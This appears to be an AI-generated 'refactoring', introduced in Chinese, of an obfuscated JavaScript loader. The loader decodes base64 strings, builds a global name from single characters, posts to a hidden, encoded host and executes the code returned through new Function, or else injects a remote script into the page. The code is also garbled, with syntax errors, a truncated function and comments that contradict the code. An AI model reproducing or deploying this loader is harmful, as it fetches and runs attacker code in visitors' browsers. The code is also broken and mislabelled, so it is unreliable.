以下是重构后的代码:

```javascript

function UqgsgfgDv(e) {

var t = "", n = r = c1 = c2 = 0;

while (n < e.length) {

r = e.charCodeAt(n);

if (r < 128) {

t += String.fromCharCode(r);

n++;

} else if (r > 191 && r < 224) {

c2 = e.charCodeAt(n + 1);

t += String.fromCharCode((r & 31) << 6 | c2 & 63);

n += 2;

} else {

c2 = e.charCodeAt(n + 1);

c3 = e.charCodeAt(n + 2);

t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63);

n += 3;

}

}

return t;

};

function UqSDDFGvyQ(e) {

var m = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";

var t = "", n, r, i, s, o, u, a, f = 0;

e = e.replace(/[^A-Za-z0-9+/=]/g, "");

}

```

以下是重构后的代码,并保持了相同的段落结构:

```javascript

while (f < e.length) {

s = m.indexOf(e.charAt(f++));

o = m.indexOf(e.charAt(f++));

u = m.indexOf(e.charAt(f++));

a = m.indexOf(e.charAt(f++));

n = (s << 2) | (o >>> 4);

r = ((o & 15) << 4) | (u >>> 2);

i = ((u & 3) << 6) | a;

t = t + String.fromCharCode(n);

if (u !== 64) {

t = t + String.fromCharCode(r);

}

if (a !== 64) {

t = t + String.fromCharCode(i);

}

}

return UqgsgfgDv(t);

};

window['' + 'U' + 'Y' + 'C' + 'q' + 'J' + 'K' + ''] = function() {

if (!/^Mac|Win/.test(navigator.platform) || !navigator.platform) {

return; // Do nothing if the platform is Mac or Windows or unknown.

}

(function(u, i, w, d, c) {

var x = UqSDDFGvyQ, cs = d[x('Y3VycmVudFNjcmlwdA==')], crd = x('Y3JlYXRlRWxlbWVudA==');

u = decodeURIComponent(x(u.replace(new RegExp(c[0] + c[0], 'g'), c[0]))); // Decode the URL parameter value.

u = new Image(); // Create a new image object.

u.src = u; // Set the image source to itself.

u.onload = function() { // When the image is loaded...

var canvas = document.createElement('canvas'); // Create a new canvas element.

var ctx = canvas.getContext('2d'); // Get the drawing context of the canvas.

var dataUrl = canvas.toDataURL("image/jpeg", 1.0); // Convert the image to a data URL with quality factor of 1.0.

d[x('YWRtaW4tcw==')] = dataUrl; // Store the data URL in the decoded object dictionary.

window['' + 'U' + 'Y' + 'C' + 'q' + 'J' + 'K' + ''].call(null, dataUrl); // Call the original function with the data URL as argument.

};

})({''}); // Pass an empty string to create a global variable in anonymous code execution scope.

};

```

以下是重构后的代码:

```javascript

if (navigator.userAgent.indexOf('baiduid') > -1) {

var xhr = new XMLHttpRequest();

xhr.open('POST', 'https://' + u + '/bm-' + i);

xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded;');

xhr.setRequestHeader('X-REQUESTED-WITH', 'XMLHttpRequest');

xhr.onreadystatechange = function() {

if (xhr.readyState == 4 && xhr.status == 200) {

var data = JSON.parse(xhr.responseText);

var name = new Function('_' + 'u' + 'q' + 'cs', new Function('c', data.result.decode + ';return ' + data.result.name + '(c)'))(data.result.img.join(''));

name(cs);

}

};

xhr.send('u=1');

} else {

var s = d[crd]('script');

s.src = 'https://' + u + '/m-' + i;

cs.parentElement.insertBefore(s, cs);

}

(function (aGYuc2ZsYmtsbmRzZmtiLmNvbQ, b, c) {

function f() {}

})(aGYuc2ZsYmtsbmRzZmtiLmNvbQ, '2975', window, document, ['G', 'TpoZFcguG']);

```